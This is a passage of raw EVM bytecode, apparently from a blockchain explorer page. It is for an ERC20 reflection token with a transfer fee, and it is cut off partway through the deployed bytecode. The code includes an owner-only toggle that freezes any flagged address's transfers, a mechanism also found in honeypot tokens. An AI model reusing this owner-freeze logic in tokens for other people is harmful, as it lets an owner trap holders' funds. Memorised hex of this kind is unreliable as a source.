405180910390f35b6101fc60048036038101906101f79190612c90565b6106c3565b6040516102099190612c4b565b60405180910390f35b61022c60048036038101906102279190612a80565b61079c565b6040516102399190612c75565b60405180910390f35b61024a61080a565b6040516102579190612cff565b60405180910390f35b61027a60048036038101906102759190612bf0565b610821565b6040516102879190612c4b565b60405180910390f35b6102aa60048036038101906102a59190612d1a565b6108d4565b005b6102c660048036038101906102c19190612d73565b610b00565b6040516102d39190612c75565b60405180910390f35b6102f660048036038101906102f19190612d1a565b610b89565b6040516103039190612c75565b60405180910390f35b610314610c74565b6040516103219190612ba9565b60405180910390f35b610332610c9a565b60405161033f9190612c75565b60405180910390f35b610350610ca4565b60405161035d9190612ba9565b60405180910390f35b61036e610ccd565b60405161037b9190612b46565b60405180910390f35b61038c610d5f565b6040516103999190612b46565b60405180910390f35b6103bc60048036038101906103b79190612bf0565b610ded565b6040516103c99190612c4b565b60405180910390f35b6103ec60048036038101906103e79190612bf0565b610eba565b6040516103f99190612c4b565b60405180910390f35b61041c60048036038101906104179190612d1a565b610ed8565b6040516104299190612c4b565b60405180910390f35b61044c60048036038101906104479190612db3565b610f2e565b6040516104599190612c75565b60405180910390f35b600061046c611049565b9050600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156104fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f290612e65565b60405180910390fd5b600061050683611051565b50505050905061055e81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff90919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105b681600654610fff90919063ffffffff16565b6006819055506105d183600e546110a990919063ffffffff16565b600e81905550505050565b6060600180546105eb90612eb4565b80601f016020809104026020016040519081016040528092919081815260200182805461061790612eb4565b80156106645780601f1061063957610100808354040283529160200191610664565b820191906000526020600020905b81548152906001019060200180831161064757829003601f168201915b5050505050905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006106a86106a1611049565b8484611107565b6001905092915050565b6000683635c9adc5dea00000905090565b60006106d08484846112d2565b610791846106dc611049565b61078c8560405180606001604052806028815260200161368360289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610742611049565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185c9092919063ffffffff16565b611107565b600190509392505050565b60006006548211156107e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107da90612f58565b60405180910390fd5b60006107ed6118c0565b90506108028184610fb590919063ffffffff16565b915050919050565b6000600360009054906101000a900460ff16905090565b60006108ca61082e611049565b846108c5856005600061083f611049565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110a990919063ffffffff16565b611107565b6001905092915050565b6108dc611049565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610969576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096090612fc4565b60405180910390fd5b60011515600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610a1f576000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610afd565b6001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fa5202f588e35f08e78e28aaaee3ba7c34c214b2baa91e1044de36f4e29d73e0b81600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16604051610af4929190612fe4565b60405180910390a15b50565b6000683635c9adc5dea00000831115610b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4590613059565b60405180910390fd5b81610b6d576000610b5e84611051565b50505050905080915050610b83565b6000610b7884611051565b505050915050809150505b92915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610c2457600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610c6f565b610c6c600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461079c565b90505b919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600e54905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610cdc90612eb4565b80601f0160208091040260200160405190810160405280929190818152602001828054610d0890612eb4565b8015610d555780601f10610d2a57610100808354040283529160200191610d55565b820191906000526020600020905b815481529060010190602001808311610d3857829003601f168201915b5050505050905090565b60048054610d6c90612eb4565b80601f0160208091040260200160405190810160405280929190818152602001828054610d9890612eb4565b8015610de55780601f10610dba57610100808354040283529160200191610de5565b820191906000526020600020905b815481529060010190602001808311610dc857829003601f168201915b505050505081565b6000610eb0610dfa611049565b84610eab856040518060600160405280602581526020016136ab6025913960056000610e24611049565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185c9092919063ffffffff16565b611107565b6001905092915050565b6000610ece610ec7611049565b84846112d2565b6001905092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000610ff783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118eb565b905092915050565b600061104183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061185c565b905092915050565b600033905090565b60008060008060008060006110658861194e565b9150915060006110736118c0565b905060008060006110858c86866119a1565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b60008082846110b891906130a8565b9050838110156110fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f49061314a565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611177576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116e906131dc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111de9061326e565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112c59190612c75565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611342576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133990613300565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a990613392565b60405180910390fd5b600081116113f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ec90613424565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114965750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114df57600081146114de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d59061346a565b60405180910390fd5b5b6114e7610ca4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115525750611523610ca4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611567576115628383836119ff565b611857565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561160a5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561161f5761161a838383611d75565b611856565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c25750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156116d7576116d2838383611fc8565b611855565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561177b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117905761178b83838361221b565b611854565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156118325750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611847576118428383836123d9565b611853565b61185283838361221b565b5b5b5b5b5b505050565b60008383111582906118a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189b9190612b46565b60405180910390fd5b50600083856118b3919061348a565b9050809150509392505050565b60008060006118cd6126c1565b915091506118e48183610fb590919063ffffffff16565b9250505090565b60008083118290611932576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119299190612b46565b60405180910390fd5b506000838561194191906134ed565b9050809150509392505050565b600080600061197b602f61196d6103e887610fb590919063ffffffff16565b61299090919063ffffffff16565b905060006119928286610fff90919063ffffffff16565b90508082935093505050915091565b6000806000806119ba858861299090919063ffffffff16565b905060006119d1868861299090919063ffffffff16565b905060006119e88284610fff90919063ffffffff16565b905082818395509550955050505093509350939050565b6000611a0a82611051565b505050509050611a6281600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611b8d57611b4982600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff90919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611bdf81600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110a990919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d0a57611cc682600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110a990919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d679190612c75565b60405180910390a350505050565b6000806000806000611d8686611051565b94509450945094509450611de286600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff90919063ffffffff16565b600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e7785600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff90919063ffffffff16565b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f0c84600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110a990919063ffffffff16565b600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f598382612a0b565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611fb69190612c75565b60405180910390a35050505050505050565b6000806000806000611fd986611051565b9450945094509450945061203585600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff90919063ffffffff16565b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120ca82600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110a990919063ffffffff16565b600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061215f84600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110a990919063ffffffff16565b600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121ac8382612a0b565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122099190612c75565b60405180910390a35050505050505050565b600080600080600061222c86611051565b9450945094509450945061228885600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff90919063ffffffff16565b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061231d84600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110a990919063ffffffff16565b600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236a8382612a0b565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123c79190612c75565b60405180910390a35050505050505050565b60008060008060006123ea86611051565b9450945094509450945061244686600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff90919063ffffffff16565b600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124db85600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff90919063ffffffff16565b600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061257082600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110a990919063ffffffff16565b600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061260584600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110a990919063ffffffff16565b600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126528382612a0b565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126af9190612c75565b60405180910390a35050505050505050565b600080600060065490506000683635c9adc5dea00000905060005b600d80549050811015612945578260086000600d84815481106127025761270161351e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806127f057508160096000600d84815481106127885761278761351e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561280e57600654683635c9adc5dea000009450945050505061298c565b61289e60086000600d84815481106128295761282861351e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610fff90919063ffffffff16565b925061293060096000600d84815481106128bb576128ba61351e565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610fff90919063ffffffff16565b9150808061293d9061354d565b9150506126dc565b50612964683635c9adc5dea00000600654610fb590919063ffffffff16565b82101561298357600654683635c9adc5dea0000093509350505061298c565b81819350935050505b9091565b6000808314156129a35760009050612a05565b600082846129b19190613596565b90508284826129c091906134ed565b14612a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129f790613662565b60405180910390fd5b809150505b92915050565b612a2082600654610fff90919063ffffffff16565b600681905550612a3b81600e546110a990919063ffffffff16565b600e819055505050565b600080fd5b6000819050919050565b612a5d81612a4a565b8114612a6857600080fd5b50565b600081359050612a7a81612a54565b92915050565b600060208284031215612a9657612a95612a45565b5b6000612aa484828501612a6b565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ae7578082015181840152602081019050612acc565b83811115612af6576000848401525b50505050565b6000601f19601f8301169050919050565b6000612b1882612aad565b612b228185612ab8565b9350612b32818560208601612ac9565b612b3b81612afc565b840191505092915050565b60006020820190508181036000830152612b608184612b0d565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612b9382612b68565b9050919050565b612ba381612b88565b82525050565b6000602082019050612bbe6000830184612b9a565b92915050565b612bcd81612b88565b8114612bd857600080fd5b50565b600081359050612bea81612bc4565b92915050565b60008060408385031215612c0757612c06612a45565b5b6000612c1585828601612bdb565b9250506020612c2685828601612a6b565b9150509250929050565b60008115159050919050565b612c4581612c30565b82525050565b6000602082019050612c606000830184612c3c565b92915050565b612c6f81612a4a565b82525050565b6000602082019050612c8a6000830184612c66565b92915050565b600080600060608486031215612ca957612ca8612a45565b5b6000612cb786828701612bdb565b9350506020612cc886828701612bdb565b9250506040612cd986828701612a6b565b9150509250925092565b600060ff82169050919050565b612cf981612ce3565b82525050565b6000602082019050612d146000830184612cf0565b92915050565b600060208284031215612d3057612d2f612a45565b5b6000612d3e84828501612bdb565b91505092915050565b612d5081612c30565b8114612d5b57600080fd5b50565b600081359050612d6d81612d47565b92915050565b60008060408385031215612d8a57612d89612a45565b5b6000612d9885828601612a6b565b9250506020612da985828601612d5e565b9150509250929050565b60008060408385031215612dca57612dc9612a45565b5b6000612dd885828601612bdb565b9250506020612de985828601612bdb565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000612e4f602c83612ab8565b9150612e5a82612df3565b604082019050919050565b60006020820190508181036000830152612e7e81612e42565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612ecc57607f821691505b60208210811415612ee057612edf612e85565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612f42602a83612ab8565b9150612f4d82612ee6565b604082019050919050565b60006020820190508181036000830152612f7181612f35565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612fae602083612ab8565b9150612fb982612f78565b602082019050919050565b60006020820190508181036000830152612fdd81612fa1565b9050919050565b6000604082019050612ff96000830185612b9a565b6130066020830184612c3c565b9392505050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b6000613043601f83612ab8565b915061304e8261300d565b602082019050919050565b6000602082019050818103600083015261307281613036565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006130b382612a4a565b91506130be83612a4a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130f3576130f2613079565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613134601b83612ab8565b915061313f826130fe565b602082019050919050565b6000602082019050818103600083015261316381613127565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006131c6602483612ab8565b91506131d18261316a565b604082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613258602283612ab8565b9150613263826131fc565b604082019050919050565b600060208201905081810360008301526132878161324b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006132ea602583612ab8565b91506132f58261328e565b604082019050919050565b60006020820190508181036000830152613319816132dd565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061337c602383612ab8565b915061338782613320565b604082019050919050565b600060208201905081810360008301526133ab8161336f565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061340e602983612ab8565b9150613419826133b2565b604082019050919050565b6000602082019050818103600083015261343d81613401565b9050919050565b50565b6000613454600083612ab8565b915061345f82613444565b600082019050919050565b6000602082019050818103600083015261348381613447565b9050919050565b600061349582612a4a565b91506134a083612a4a565b9250828210156134b3576134b2613079565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006134f882612a4a565b915061350383612a4a565b925082613513576135126134be565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061355882612a4a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358b5761358a613079565b5b600182019050919050565b60006135a182612a4a565b91506135ac83612a4a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135e5576135e4613079565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061364c602183612ab8565b9150613657826135f0565b604082019050919050565b6000602082019050818103600083015261367b8161363f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220328fbf414ee99120de36dd998e3b18dad8c7d6a835e100ad373a0c4f1a4400d664736f6c634300080800330000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101375760003560e01c80634549b039116100b857806395d89b411161007c57806395d89b41146103665780639d8d840614610384578063a457c2d7146103a2578063a9059cbb146103d2578063b1a4e0dc14610402578063dd62ed3e1461043257610137565b80634549b039146102ac57806370a08231146102dc57806370fe251b1461030c5780638336d9771461032a5780638da5cb5b1461034857610137565b806323b872dd116100ff57806323b872dd146101e25780632d83811914610212578063313ce5671461024257806339509351146102605780634355b9d21461029057610137565b8063053ab1821461013c57806306fdde0314610158578063081d2b3c14610176578063095ea7b31461019457806318160ddd146101c4575b600080fd5b61015660048036038101906101519190612a80565b610462565b005b6101606105dc565b60405161016d9190612b46565b60405180910390f35b61017e61066e565b60405161018b9190612ba9565b60405180910390f35b6101ae60048036038101906101a99190612bf0565b610694565b6040516101bb9190612c4b565b60405180910390f35b6101cc6106b2565b6040516101d99190612c75565b60405180910390f35b6101fc60048036038101906101f79190612c90565b6106c3565b6040516102099190612c4b565b60405180910390f35b61022c60048036038101906102279190612a80565b61079c565b6040516102399190612c75565b60405180910390f35b61024a61080a565b6040516102579190612cff565b60405180910390f35b61027a60048036038101906102759190612bf0565b610821565b6040516102879190612c4b565b60405180910390f35b6102aa60048036038101906102a59190612d1a565b6108d4565b005b6102c660048036038101906102c19190612d73565b610b00565b6040516102d39190612c75565b60405180910390f35b6102f660048036038101906102f19190612d1a565b610b89565b6040516103039190612c75565b60405180910390f35b610314610c74565b6040516103219190612ba9565b60405180910390f35b610332610c9a565b60405161033f9190612c75565b60405180910390f35b610350610ca4565b60405161035d9190612ba9565b60405180910390f35b61036e610ccd565b60405161037b9190612b46565b60405180910390f35b61038c610d5f565b6040516103999190612b46565b60405180910390f35b6103bc60048036038101906103b79190612bf0565b610ded565b6040516103c99190612c4b565b60405180910390f35b6103ec60048036038101906103e79190612bf0565b610eba565b6040516103f99190612c4b565b60405180910390f35b61041c60048036038101906104179190612d1a565b610ed8565b6040516104299190612c4b565b60405180910390f35b61044c60048036038101906104479190612db3565b610f2e565b6040516104599190612c75565b60405180910390f35b600061046c611049565b9050600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156104fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f290612e65565b60405180910390fd5b600061050683611051565b50505050905061055e81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fff90919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105b681600654610fff90919063ffffffff16565b6006819055506105d183600e546110a990919063ffffffff16565b600e81905550505050565b6060600180546105eb90612eb4565b80601f016020809104026020016040519081016040528092919081815260200182805461061790612eb4565b80156106645780601f1061063957610100808354040283529160200191610664565b820191906000526020600020905b81548152906001019060200180831161064757829003601f168201915b5050505050905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006106a86106a1611049565b8484611107565b6001905092915050565b6000683635c9adc5dea00000905090565b60006106d08484846112d2565b610791846106dc611049565b61078c8560405180606001604052806028815260200161368360289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610742611049565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185c9092919063ffffffff16565b611107565b600190509392505050565b60006006548211156107e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107da90612f58565b60405180910390fd5b60006107ed6118c0565b90506108028184610fb590919063ffffffff16565b915050919050565b6000600360009054906101000a900460ff16905090565b60006108ca61082e611049565b846108c5856005600061083f611049565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110a990919063ffffffff16565b611107565b6001905092915050565b6108dc611049565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610969576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096090612fc4565b60405180910390fd5b60011515600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610a1f576000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610afd565b6001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fa5202f588e35f08e78e28aaaee3ba7c34c214b2baa91e1044de36f4e29d73e0b81600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16604051610af4929190612fe4565b60405180910390a15b50565b6000683635c9adc5dea00000831115610b4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4590613059565b60405180910390fd5b81610b6d576000610b5e84611051565b50505050905080915050610b83565b6000610b